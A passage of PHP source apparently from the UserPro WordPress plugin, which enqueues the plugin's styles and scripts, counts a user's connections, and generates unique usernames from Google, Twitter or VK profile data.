(userpro_get_option('lightbox')) { wp_register_style('userpro_lightview', userpro_url . 'css/lightview/lightview.css'); wp_enqueue_style('userpro_lightview'); } if (!userpro_get_option('rtl')) { $css = 'css/userpro.min.css'; } else { $css = 'css/userpro-rtl.min.css'; } wp_register_style('userpro_min', userpro_url . $css); wp_enqueue_style('userpro_min'); wp_enqueue_style('userpro_jquery_ui_style', userpro_url . 'css/userpro-jquery-ui.css'); if (userpro_get_option('lightbox')) { wp_register_script('userpro_swf', userpro_url . 'scripts/swfobject.js', '', '', true); wp_enqueue_script('userpro_swf'); wp_register_script('userpro_spinners', userpro_url . 'scripts/spinners/spinners.min.js', '', '', true); wp_enqueue_script('userpro_spinners'); wp_register_script('userpro_lightview', userpro_url . 'scripts/lightview/lightview.js', '', '', true); wp_enqueue_script('userpro_lightview'); } wp_register_script('userpro_min', userpro_url . 'scripts/scripts.min.js', '', '', true); wp_enqueue_script('userpro_min'); wp_localize_script( 'ajax-userpro_min', 'userpro_scripts', array( 'ajax_url' => admin_url( 'admin-ajax.php' ) ) ); $userpro_limit_categories = userpro_get_option('limit_categories'); wp_localize_script('userpro_min', 'userpro_frontend_publisher_data', [ 'userpro_limit_categories' => $userpro_limit_categories, 'correction_text' => __('Please correct fields', 'userpro'), ]); wp_register_script('performance', userpro_url . 'scripts/performance.js', '', '', true); wp_enqueue_script('performance'); if (userpro_get_option('userpro_enable_webcam')) { wp_enqueue_script('up-webcam-js', userpro_url . 'scripts/webcam.min.js', '', '', true); } // wp_enqueue_script('userpro_encrypt_js', userpro_url . 'scripts/userpro.encrypt.js', '', '', TRUE); /////////////// } /******************** Get connection count *****************/ function get_connection_count($user_id = 0) { $connections = get_user_meta($user_id, '_userpro_connected_userlist', true); if (!empty($connections)) { return count($connections); } return 0; } /****************************************** * Make username unique ******************************************/ function unique_user($service = null, $form = null) { if ($service) { if ($service == 'google') { if (isset($form['name']) && is_array($form['name'])) { $name = $form['name']['givenName'] . ' ' . $form['name']['familyName']; $username = $this->clean_user($name); } elseif (isset($form['displayName']) && !empty($form['displayName'])) { $username = $this->clean_user($form['displayName']); } else { $username = $form['id']; } } if ($service == 'twitter') { if (isset($form['screen_name']) && !empty($form['screen_name'])) { $username = $form['screen_name']; } } if ($service == 'vk') { if (isset($form['screen_name']) && !empty($form['screen_name'])) { $username = $form['screen_name']; } else { $username = $form['uid']; } } } // make sure username is unique if (username_exists($username)) { $r = str_shuffle("0123456789"); $r1 = (int)$r[0]; $r2 = (int)$r[1]; $username = $username . $r1 . $r2; } if (username_exists($username)) { $r = str_shuffle("0123456789"); $r1 = (int)$r[0]; $r2 = (int)$r[1]; $username = $username . $r1 . $r2; } return $username; } }